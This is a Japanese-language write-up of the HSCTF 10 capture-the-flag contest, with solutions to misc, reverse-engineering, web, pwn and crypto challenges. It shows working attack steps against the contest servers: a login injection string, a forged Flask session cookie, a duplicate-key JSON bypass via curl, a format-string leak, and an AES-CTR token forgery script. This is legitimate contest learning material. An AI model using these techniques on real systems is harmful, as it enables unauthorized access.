HSCTF 10 Writeup

この大会は2023/6/4 7:00(JST)~2023/6/9 7:00(JST)に開催されました。
今回もチームで参戦。結果は9488点で942チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

flag{welcome_to_hsctf_10}

intro-to-netcat (misc)

ncで接続するだけ。

$ nc intro-to-netcat.hsctf.com 1337
flag{netcat_is_cool}
flag{netcat_is_cool}

producing-3s (algo)

各配列の各要素で、前の要素の一部との乗算で、1の位を3にできるものを"Y"、そうでないものを"N"として返す必要がある。
1の位が3になる組み合わせは以下の10通りしかないので、前の要素の1の位の存在確認で対応できる。

※先頭の数値を中心に前の要素を後ろにかけた書き方で表記
1 * 3 = 3
1 * 7 * 9 = 63
1 * 7 * 7 * 7 = 343
3 = 3
7 * 9 = 63
7 * 3 * 3 = 63
7 * 7 * 7 = 343
9 * 7 = 63
9 * 3 * 9 = 243
9 * 3 * 3 * 3 = 243

上記の組み合わせかどうかを判断し、答える。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('producing-3s.hsctf.com', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
t = int(data)

answers = ''
for _ in range(t):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    n = int(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if n != 0:
        nums = list(map(int, data.split(' ')))
        assert len(nums) == n
        nums = [int(str(num)[-1]) for num in nums]
        answer = ''
        for i in range(n):
            if nums[i] == 3:
                answer += 'Y'
            else:
                if i != 0:
                    if nums[i] == 1:
                        if 3 in nums[:i] or nums[:i].count(7) > 2 \
                            or (7 in nums[:i] and 9 in nums[:i]):
                            answer += 'Y'
                        else:
                            answer += 'N'
                    elif nums[i] == 7:
                        if 9 in nums[:i] or nums[:i].count(3) > 1 \
                            or nums[:i].count(7) > 1:
                            answer += 'Y'
                        else:
                            answer += 'N'
                    elif nums[i] == 9:
                        if 7 in nums[:i] or nums[:i].count(3) > 2 \
                            or (3 in nums[:i] and 9 in nums[:i]):
                            answer += 'Y'
                        else:
                            answer += 'N'
                    else:
                        answer += 'N'
                else:
                    answer += 'N'
        answers += answer + '\n'

data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
print(answers)
s.sendall(answers.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

801
10
846808211 403618274 174262736 2117913270 1141654509 148327266 1239945645 1487324424 248692669 1587459328
10
1941099384 14551946 1037250575 1283638481 1498367015 175380547 1024364366 188666301 696997121 1516425649
10
1899584924 968612877 1361053326 383277654 1023358698 1596714717 647164447 969301610 2049875655 1629428820
                                                :
                                                :
10000
556826721 804157991 1752116814 799953099 182483443 1245718458 826490351 1386256726 1399602200 416834432 692147602 ...

Output:
NNNNNNNNNN
NNNNNNNNNY
NNNNNNYNNN
    :
    :
NNNNYNYNNNN...

flag{n1c3_w0rk_8329}
flag{n1c3_w0rk_8329}

doubler (pwn)

0以上の数値を入力して、その2倍の値が-100になればよい。intの整数オーバーフローの性質を使う。

>>> (2**32 - 100) // 2
2147483598
$ nc doubler.hsctf.com 1337
Input: 2147483598
Doubled: -100
flag{double_or_nothing_406c561}
flag{double_or_nothing_406c561}

cat (pwn)

FSBの問題。10個目のスタックから読み込む。

$ nc cat.hsctf.com 1337
%10$p
0x616c6603
%11$p
0x61637b67
%12$p
0x675f7374
%13$p
0x656d5f6f
%14$p
0x7d776f
>>> 0x616c6603.to_bytes(4, 'little')[1:]
b'fla'
>>> 0x61637b67.to_bytes(4, 'little')
b'g{ca'
>>> 0x675f7374.to_bytes(4, 'little')
b'ts_g'
>>> 0x656d5f6f.to_bytes(4, 'little')
b'o_me'
>>> 0x7d776f.to_bytes(3, 'little')
b'ow}'
flag{cats_go_meow}

back-to-basics (rev)

checkPasswordメソッドで1文字ずつ比較しているので、インデックス順に文字を並べる。

flag{c0d1ng_i5_h4rd}

brain-hurt (rev)

エンコードした結果が'ZT_YE\\0|akaY.LaLx0,aQR{"C'になるflagを求める必要がある。エンコードは以下の式なので、逆算して復号する。

encoded_char = chr((ord(c) ^ 0xFF) % 95 + 32)
#!/usr/bin/env python3
encoded_flag = 'ZT_YE\\0|akaY.LaLx0,aQR{"C'

flag = ''
for encoded_char in encoded_flag:
    code = ord(encoded_char) - 32
    while True:
        if (code ^ 0xff) >= 32 and (code ^ 0xff) <= 126:
            c = chr(code ^ 0xff)
            break
        code += 95
    flag += c
print(flag)
flag{d1D_U_g3t_tH15_onE?}

mystery-methods (rev)

Javaコードの処理概要は以下の通り。

・userInput: 入力
・encryptedInput = encryptInput(userInput)
 ・flag = userInput
 ・flag = unknown2(flag, 345345345)
  ・flagをbase64エンコードして返却
 ・flag = unknown1(flag)
  ・flagを逆順にして返却
 ・flag = unknown2(flag, 00000)
  ・flagをbase64エンコードして返却
 ・flag = unknown(flag, 25)
  ・result = ""
  ・flagの各文字cに対して以下を実行
   ・cがアルファベットの場合
    ・base: 大文字の場合'A'、小文字の場合'a'
    ・offset: (c - base + 25) % 26
    ・c = (char) (base + offset)
   ・resultにcを連結
  ・resultを返却
・flagが"OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z"と一致していればよい。

逆算してフラグを割り出す。

#!/usr/bin/env python3
from base64 import *
from string import *

def rev_unknown(s, n):
    d = ''
    for c in s:
        if c in ascii_letters:
            if c in ascii_uppercase:
                base = ord('A')
            elif c in ascii_lowercase:
                base = ord('a')
            offset = (ord(c) - base - n) % 26
            c = chr(base + offset)
        d += c
    return d

def rev_unknown1(s):
    return s[::-1]

def rev_unknown2(s):
    return b64decode(s).decode()

ct = 'OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z'

ct = rev_unknown(ct, 25)
ct = rev_unknown2(ct)
ct = rev_unknown1(ct)
flag = rev_unknown2(ct)
print(flag)
flag{hsCTF_I5_r3aLLy_fUN}

keygen (rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  size_t sVar1;
  byte *local_18;
  byte *local_10;
  
  if ((param_1 == 2) && (sVar1 = strlen(*(char **)(param_2 + 8)), sVar1 == 0x2a)) {
    puts("dfdfdf");
    local_10 = *(byte **)(param_2 + 8);
    local_18 = &DAT_00102008;
    while( true ) {
      if (*local_10 == 0) {
        puts("Correct");
        return 0;
      }
      if ((*local_10 ^ 10) != *local_18) break;
      local_10 = local_10 + 1;
      local_18 = local_18 + 1;
    }
    puts("Wrong");
    return 1;
  }
  puts("Wrong");
  return 1;
}

                             DAT_00102008                                    XREF[4]:     main:001011a8(*), 
                                                                                          main:001011af(*), 
                                                                                          main:001011c5(R), 00103dd8(*)  
        00102008 6c              undefined1 6Ch
                             s_fkmq<8=?=>?l'==<2'<;=>'?l<i'<l<9_00102009     XREF[1]:     main:001011e7(*)  
        00102009 66 6b 6d        ds         "fkmq<8=?=>?l'==<2'<;=>'?l<i'<l<9<h9l::::w"
                 71 3c 38 
                 3d 3f 3d 

DAT_00102008のデータと10でXORすればフラグになる。

#!/usr/bin/env python3

with open('keygen', 'rb') as f:
    data = f.read()[0x2008:0x2008+0x2a]

flag = ''
for c in data:
    flag += chr(c ^ 10)
print(flag)
flag{6275745f-7768-6174-5f6c-6f636b3f0000}

revrevrev (rev)

スクリプトの処理の概要は以下の通り。

・ins: 入力(20バイト)
・s = 0
・a = 0
・x = 0
・y = 0
・insの各文字cに対して、以下を実行
 ・cが'r'の場合
  ・s += 1
 ・cが'L'の場合
  ・a = (a + 1) % 4
 ・cが'R'の場合
  ・a = (a + 3) % 4
 ・aが0の場合
  ・x += s
 ・aが1の場合
  ・y += s
 ・aが2の場合
  ・x -= s
 ・aが3の場合
  ・y -=s
・xが168、yが32の場合
 ・"flag{" + ins + "}"を表示

20回の操作で、xが168、yが32となればよい。ブルートフォースで条件を満たすinsを求め、フラグを得る。

#!/usr/bin/env python3
import itertools

def calc(ins):
    s = 0
    a = 0
    x = 0
    y = 0
    for c in ins:
        if c == 'r':
            s += 1
        elif c == 'L':
            a = (a + 1) % 4
        elif c == 'R':
            a = (a + 3) % 4
        if a == 0:
            x += s
        elif a == 1:
            y += s
        elif a == 2:
            x -= s
        elif a == 3:
            y -= s
    return x, y

chars = 'rLR'
for x in itertools.product(chars, repeat=20):
    ins = ''.join(x)
    x, y = calc(ins)
    if x == 168 and y == 32:
        flag = 'flag{%s}' % ins
        print(flag)
        break
flag{rrrrrrrrrrrrrrrrLRLR}

micrurus-fulvius (rev)

pycをデコンパイルする。

$ uncompyle6 micrurus-fulvius.pyc 
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.6.9 (default, Mar 10 2023, 16:46:00) 
# [GCC 8.4.0]
# Embedded file name: chall.py
# Compiled at: 2023-06-02 06:33:44
# Size of source mod 2**32: 644 bytes
from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1

    return b


def d(u, p):
    return (u << p % 5) - 158


def j(q, w):
    return ord(q) * 115 + ord(w) * 21


def t():
    x = input()
    l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
    m = 'b4f9d505'
    if len(x) - 1 != len(l):
        return False
    for i, c in enumerate(zip(x, x[1:])):
        if d(a(j(*c) - 10), i) * 3 != l[i]:
            return False
        if k(x.encode()).hexdigest()[:8] != m:
            return False
        return True


def g():
    if t():
        print('Correct')
    else:
        print('Wrong')


if __name__ == '__main__':
    g()
# okay decompiling micrurus-fulvius.pyc

このスクリプトの処理概要は以下の通り。

・x: 入力(xの長さはlの長さ+1)
・l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
・m = 'b4f9d505'
・xのインデックスi、隣通しのタプルcについて以下を実行
 ・d(a(j(*c) - 10), i) * 3がl[i]と異なる場合、エラー
 ・xのsha256ダイジェストの16進表記の先頭8バイトがmと異なる場合、エラー

フラグは"flag{"から始まることを前提に条件を満たす全パターンを抽出し、ハッシュ値の条件も満たすものを探す。

#!/usr/bin/env python3
from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1

    return b

def d(u, p):
    return (u << p % 5) - 158

def j(q, w):
    return ord(q) * 115 + ord(w) * 21

l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
m = 'b4f9d505'

head_flag = 'flag{'
flags = [head_flag]

for i in range(4):
    assert d(a(j(head_flag[i], head_flag[i+1]) - 10), i) * 3 == l[i]

for i in range(4, len(l)):
    tmp_flags = []
    for flag in flags:
        for code in range(32, 127):
            if d(a(j(flag[-1], chr(code)) - 10), i) * 3 == l[i]:
                tmp_flags.append(flag + chr(code))
    flags = tmp_flags

for flag in flags:
    if k(flag.encode()).hexdigest()[:8] == m:
        print(flag)
        break
flag{380822974}

th3-w3bsite (web)

HTMLソースを見ると、コメントにフラグが書いてあった。

flag{1434}

an-inaccessible-admin-panel (web)

https://login-web-challenge.hsctf.com/login.jsを見ると、以下のようになっている。

window.onload = function() {
    var loginForm = document.getElementById("loginForm");
    loginForm.addEventListener("submit", function(event) {
        event.preventDefault(); 
    
        var username = document.getElementById("username").value;
        var password = document.getElementById("password").value;
    
        function fii(num){
            return num / 2 + fee(num);
        }
        function fee(num){
            return foo(num * 5, square(num));
        }
        function foo(x, y){
            return x*x + y*y + 2*x*y;
        }
        function square(num){
            return num * num;
        }

        var key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5];

        function validatePassword(password){
            var encryption = password.split('').map(function(char) {
                return char.charCodeAt(0);
            });
            var checker = [];
            for (var i = 0; i < encryption.length; i++) {
                var a = encryption[i];
                var b = fii(a);
                checker.push(b);
            }
            console.log(checker);
            
            if (key.length !== checker.length) {
                return false;
            }
            
            for (var i = 0; i < key.length; i++) {
                if (key[i] !== checker[i]) {
                    return false;
                }
            }
            return true;
        }


        if (username === "Admin" && validatePassword(password)) {
            alert("Login successful. Redirecting to admin panel...");
            window.location.href = "admin_panel.html";
        }
        else if (username === "default" && password === "password123") {
            var websiteNames = ["Google", "YouTube", "Minecraft", "Discord", "Twitter"];
            var websiteURLs = ["https://www.google.com", "https://www.youtube.com", "https://www.minecraft.net", "https://www.discord.com", "https://www.twitter.com"];
            var randomNum = Math.floor(Math.random() * websiteNames.length);
            alert("Login successful. Redirecting to " + websiteNames[randomNum] + "...");
            window.location.href = websiteURLs[randomNum];
        } else {
            alert("Invalid credentials. Please try again.");
        }
    });
  };

Adminユーザのパスワードは1文字ずつ計算して、その結果keyの値になるかどうかを検証している。1文字ずつブルートフォースで一致するものを探し、パスワードを割り出す。

#!/usr/bin/env python3
def fii(num):
    return num / 2 + fee(num)

def fee(num):
    return foo(num * 5, square(num))

def foo(x, y):
    return x * x + y * y + 2 * x * y

def square(num):
    return num * num

key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5]

password = ''
for k in key:
    for code in range(32, 127):
        if fii(code) == k:
            password += chr(code)
            break
print(password)

パスワードは以下の通り。

Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!

Adminユーザでログインすると、Adminパネルが表示され、フラグの形式は以下であることが記載されていた。

flag{Username, Password}

flag{Admin, Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!}

mogodb (web)

session["admin"]がTrueの場合にフラグが表示される。ログインの条件の指定がSQLのようになっているので、以下のように指定すれば"admin"でログインできる。

Username: admin' || '

ログインすると、フラグが表示された。

Welcome, admin
The flag is flag{easier_than_picture_lab_at_least}
flag{easier_than_picture_lab_at_least}

very-secure (web)

http://very-secure.hsctf.com/flagにアクセスすると、クッキーのsessionに以下が設定されている。

eyJuYW1lIjoidXNlciJ9.ZH0MGw.bgVZGCopokoCPfqgxu4k8ec264A

SECRET_KEYは2バイトなので、ブルートフォースで割り出し、adminのsessionを作成する。

#!/usr/bin/env python3
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

cookie = b'eyJuYW1lIjoidXNlciJ9.ZH0MGw.bgVZGCopokoCPfqgxu4k8ec264A'

for i in range(65536):
    key = i.to_bytes(2, 'big')
    try:
        session = FlaskSessionCookieManager.decode(key, cookie)
        print('key =', key)
        print('session =', session)
        break
    except:
        continue

admin_session = session
admin_session['name'] = "admin"
admin_cookie = FlaskSessionCookieManager.encode(key, admin_session)
print('admin cookie =', admin_cookie)

実行結果は以下の通り。

key = b'\xc9!'
session = {'name': 'user'}
admin cookie = eyJuYW1lIjoiYWRtaW4ifQ.ZH0O0Q.K8Quqo4S9K6G_u1AZuXjBy2vd7E

この値をクッキーのsessionに設定し、http://very-secure.hsctf.com/flagにアクセスすると、フラグが表示された。

Here is your flag: flag{h0w_d1d_y0u_cr4ck_th3_k3y??}
flag{h0w_d1d_y0u_cr4ck_th3_k3y??}

west-side-story (web)

ログインしたときにセッションの"admin"がtrueの場合にフラグが表示される。
登録する際に以下のデータが送信され、送信データが登録される。

{"user":"[ユーザ名]","password":"[パスワード]","admin":false}

このとき"admin"をtrueにすると、ユーザ登録に失敗する。念のため、実行して確認してみる。

$ curl http://west-side-story.hsctf.com/api/register -H "Content-Type: application/json" -d '{"user":"[ユーザ名]","password":"[パスワード]","admin":true}'
{"error":"invalid admin"}

やはり失敗する。"admin"にtrueとfalseの両方を設定して、ユーザ登録してみる。

$ curl http://west-side-story.hsctf.com/api/register -H "Content-Type: application/json" -d '{"user":"[ユーザ名]","password":"[パスワード]","admin":true,"admin":false}'
{"error":""}

登録は成功した。このユーザでログインしてみると、フラグが表示された。

flag{imagine_not_fixing_a_bug_mysql_fixed_five_years_ago}

double-trouble (crypto)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 14:
This should not be too hard.
In fact, I will give it to you right now!
The flag is the following:
AycqypAgnfcpqYpcAmmj
However, it is encoded so you have to decode it first!
Bwahahahaha
Remember, the flag format is flag{}

さらに以下の暗号をシーザー暗号と推測して復号する。

AycqypAgnfcpqYpcAmmj

復号結果は以下の通り。

Rotation 24:
CaesarCiphersAreCool
flag{CaesarCiphersAreCool}

really-small-algorithm (crypto)

nをfactordbで素因数分解する。

n = 63208845854086540220230493287 * 65746849928900354177936765297

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 4155782502547623093831518113976094054382827573251453061239
e = 65537
c = 2669292279100633236493181205299328973407167118230741040683

p = 63208845854086540220230493287
q = 65746849928900354177936765297

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode()
print(flag)
flag{bigger_is_better}

cupcakes (crypto)

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。

instantbatter
flag{instantbatter}

casino (crypto)

サーバの処理概要は以下の通り。

・FLAG: 環境変数"FLAG"の値
・key_hex: 環境変数"KEY"の値
・KEY: key_hexのhexデコード
・money = 0.0
・r = random.SystemRandom()
・以下繰り返し
 ・inp: 数値入力
 ・inpが1の場合
  ・flag()
   ・moneyが1000000000より小さい場合、十分でないというメッセージを表示
   ・moneyが1000000000以上の場合、フラグを表示
 ・inpが2の場合
  ・play()
   ・cont = True
   ・conがTrueの間以下を繰り返し実行
    ・bet: 数値(0以上5以下)入力
    ・winnings: (bet * -2以上2以下のランダム値)の小数第二位までで四捨五入した値
    ・money += winnings
    ・winningsとmoneyを表示
    ・以下、繰り返し
     ・inp: 数値入力
     ・inpが1の場合、継続してbet
     ・inpが2の場合
      ・cont = False
      ・play終了
 ・inpが3の場合
  ・load()
   ・nonce, ciphertext: "."区切りで16進数文字列で入力→分離してhexデコード
   ・plaintext: ciphertextをnonceを使ってAES-CTR暗号の復号
   ・money: plaintextをjsonとして読めたときのmoneyの値
 ・inpが4の場合
  ・save()
   ・plaintext: {"money": money}の形式のjsonデータ
   ・ciphertext: plaintextをAES-CTR暗号化
   ・暗号化したときのnonceとciphertextを16進数表記で表示
  ・終了

AES CTRモードのため、nonceが同じ場合、平文と暗号文のXORは同じ。メニュー3で適当な文字列の暗号化データを入手し、XOR鍵を算出し、目的の平文 '{"money": 1000000000.0}' の暗号文を算出する。その暗号文を使えば、moneyに目的の値を設定でき、フラグを入手できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

target = '{"money": 1000000000.00}'
nonce_hex = '0' * 16

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('casino.hsctf.com', 1337))

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')

try_ciphertext_hex = '0' * (len(target) * 2)
token = nonce_hex + '.' + try_ciphertext_hex
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
try_plaintext = eval(data)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('casino.hsctf.com', 1337))

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')

ciphertext_hex = strxor(try_plaintext, target.encode()).hex()
token = nonce_hex + '.' + ciphertext_hex
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

You have 0.00 coins.
Choose an option:
1. Get flag
2. Play
3. Enter save token
4. Quit
> 3
Enter token:
> 0000000000000000.000000000000000000000000000000000000000000000000
b'\xae\xd0\xee\x1c\xeb+%\xa3\x85\xf6\x1f7[\xaf^C\xda\x10\xa7\xb5|}\xdc\xdf'
You have 0.00 coins.
Choose an option:
1. Get flag
2. Play
3. Enter save token
4. Quit
> 3
Enter token:
> 0000000000000000.d5f28373854e5c81bfd62e076b9f6e73ea209785524deca2
b'{"money": 1000000000.00}'
You have 1000000000.00 coins.
Choose an option:
1. Get flag
2. Play
3. Enter save token
4. Quit
> 1
flag{you're_ready_for_vegas_now}
flag{you're_ready_for_vegas_now}

trios (crypto)

暗号の処理概要は以下の通り。

・chars: 数字、英大文字、英小文字のリスト
・alphabet = []
・alphabetの長さが26未満の場合、以下繰り返し
 ・run = True
 ・runがTrueの間、以下繰り返し
  ・string = ""
  ・stringにランダムなインデックスでcharsの文字を3個結合
  ・alphabetにstringがある場合は、この繰り返し処理をやり直し
  ・alphabetにstringがない場合は、run = False
 ・alphabetにstringを追加
・keyboard_chars = 英小文字のリスト
・dic: keyboard_charsの各文字とalphabettの各文字列の対応付け辞書
・msg: 未知文字列
・encoded = ""
・msgの各文字wordについて以下を実行
 ・wordの文字が英大小文字の場合、英小文字に、dicの対応する英3文字をencodedに追加
 ・wordの文字が英大小文字以外の場合、そのままencodedに追加
・encodedを出力

数字、英大文字、英小文字の3文字で1文字を表す換字式暗号。3文字をアルファベット1文字に変える。
なお、以下の部分は長さが3の倍数になっていなく誤りと思われるので、以下のように修正する。

IIqrBRz → IqrBrz
S4mLtKOIqr2stRbcQHJAPR2svphjHu0 → 4mLtKOIqr2stRbcQHJAPR2svphjHu0
#!/usr/bin/env python3
chars = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)]
keyboard_chars = [chr(i) for i in range(97, 123)]

with open('data_fix.txt', 'r') as f:
    encoded = f.read()

index = 0
keyboard_index = 0
out = ''
dic = {}
while index < len(encoded):
    if encoded[index] in chars:
        c = encoded[index:index + 3]
        if c not in dic:
            dic[c] = keyboard_chars[keyboard_index]
            keyboard_index += 1
        out += dic[c]
        index += 3
    else:
        out += encoded[index]
        index += 1

print(out)

置換した結果は以下の通り。

abcd{ebefgchi}. jhe kcl ij mjbne ch ehoplfieq remmcde, sa ke thjk sim bchducde, sm ij ashq c qsaaepehi fbcshievi ja ige mcre bchducde bjhd ehjudg ij asbb jhe mgeei jp mj, chq igeh ke ojuhi ige joouppehoem ja ecog beiiep. im sbbedcb ij jkh wumi jhe dushec fsd sh ksixepbchq.

この文章をquipqiupで復号する。

flag{elephant}. one way to solve an encrypted message, if we know its language, is to find a different plaintext of the same language long enough to fill one sheet or so, and then we count the occurrences of each letter. ts illegal to own just one guinea pig in witzerland.
flag{elephant}

spring (crypto)

JavaのnextLongは最初のランダム値がわかると、次以降のランダム値を算出できる。https://github.com/Cr4ckC4t/crack-java-prng/blob/main/crack-nextLong.pyを流用し、ランダム値を割り出す。暗号の数値と割り出したランダム値とXORして、8バイトごとに復号する。

#!/usr/bin/env python3
multiplier = 0x5deece66d
addend = 0xb

def getSigned(n, bits):
    if n >= 2 ** (bits - 1):
        return - ((n ^ (2 ** bits - 1)) + 1)
    else:
        return n

def reverseSeed(seed):
    return seed ^ multiplier

def setSeed(seed):
    return (seed ^ multiplier) & (2 ** 48 - 1)

def next32(seed):
    newseed = (seed * multiplier + addend) & (2 ** 48 - 1)
    return newseed, getSigned((newseed >> 16), 32)

def nextLong(seed):
    seed, a = next32(seed)
    seed, b = next32(seed)
    return  seed, getSigned(((a << 32) + b), 64)

def signedLongToInt(l):
    x = ''
    if l < 0:
        x = bin((abs(l) ^ (2 ** 64 - 1)) + 1)[2:]
    else:
        x = bin(l)[2:]
    return int(x, 2)

def crackSeed(l):
    l_bin = bin(signedLongToInt(l))[2:]
    l_bin = '0' * (64 - len(l_bin)) + l_bin

    lower = l_bin[32:]

    for bits in range(16, 20):
        upper = l_bin[0:48 - bits]
        for i in range(2 ** bits):
            bin_i = bin(i)[2:]
            bin_i = '0' * (bits - len(bin_i)) + bin_i
            genseed = upper + bin_i
            ns, nb = next32(int(genseed, 2))
            if nb == getSigned(int(lower, 2),32):
                seed = reverseSeed(int(genseed,2))
                return ns
    return -1

with open('out.txt', 'r') as f:
    out = eval(f.read())

pt = b'\x89PNG\x0d\x0a\x1a\x0a'

x = int.from_bytes(pt[:8], 'big')
r0 = x ^ out[0]

seed = crackSeed(r0)
for i in range(1, len(out)):
    seed, r = nextLong(seed)
    x = r ^ out[i]
    if x < 0:
        x = x + 2 ** 64
    pt += x.to_bytes(8, 'big')

pt = pt.rstrip(b'\x00')

with open('flag.png', 'wb') as f:
    f.write(pt)

復号した画像にフラグが書いてあった。

flag{the_season_of_lies}

order (crypto)

Mをfactordbで素因数分解する。

M = 3853^29 * 500891

この場合Mのphiは以下の値になる。

phi(M) = 3852 * 3853 ** 28 * 500890

new_hash関数は引数の値をMで割った余りを返すことを前提に関係する部分を整理する。

t = pow(flag, -1, M) * a % M
exp = pow(sus, t, M)
thonk = sus * exp % M

このことから逆算していく。
expは以下の計算で割り出せる。

exp = thonk * pow(sus, -1, M) % M

tはDLPの問題だが、そのままsageで割り出すことができる。
flagは以下の計算で割り出せる。

flag = a * pow(t, -1, M) % M

ただこの値をそのままバイト文字列化してもフラグにはならない。おそらくフラグ文字列の数値はMより大きい値。周期はphi(M)なので、flag + phi(M) * C (C: 不明)がフラグの値になる。フラグの長さをブルートフォースし、Coppersmithの定理を使って復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            return False
    return True

M = 48743250780330593211374612602058842282787459461925115700941964201240170956193881047849685630951233309564529903
sus = 11424424906182351530856980674107667758506424583604060548655709094382747184198
a = 19733537947376700017757804691557528800304268370434291400619888989843205833854285488738413657523737062550107458
thonk = 1

phi = 3852 * 3853 ** 28 * 500890
exp = thonk * pow(sus, -1, M) % M

R = IntegerModRing(M)
t = discrete_log(R(exp), R(sus))
m = int(a * pow(t, -1, M) % M)

#### check ####
t = pow(m, -1, M) * a % M
exp = pow(sus, t, M)
assert sus * exp == 1

#### brute force ####
flag_head = b'flag{'
m_head = bytes_to_long(flag_head)

PR.<x> = PolynomialRing(Zmod(phi))
for i in range(1, 129):
    kbits = i * 8
    mbar = m_head * 256 ^ i
    f = x + mbar - m
    x0 = f.small_roots(X=2^kbits, beta=0.3)
    if len(x0) > 0:
        flag = int(x0[0] + mbar)
        flag = long_to_bytes(flag)
        if is_printable(flag):
            flag = flag.decode()
            print(flag)
            break
flag{big_numbers_are_bad_numbers}

survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thank_you}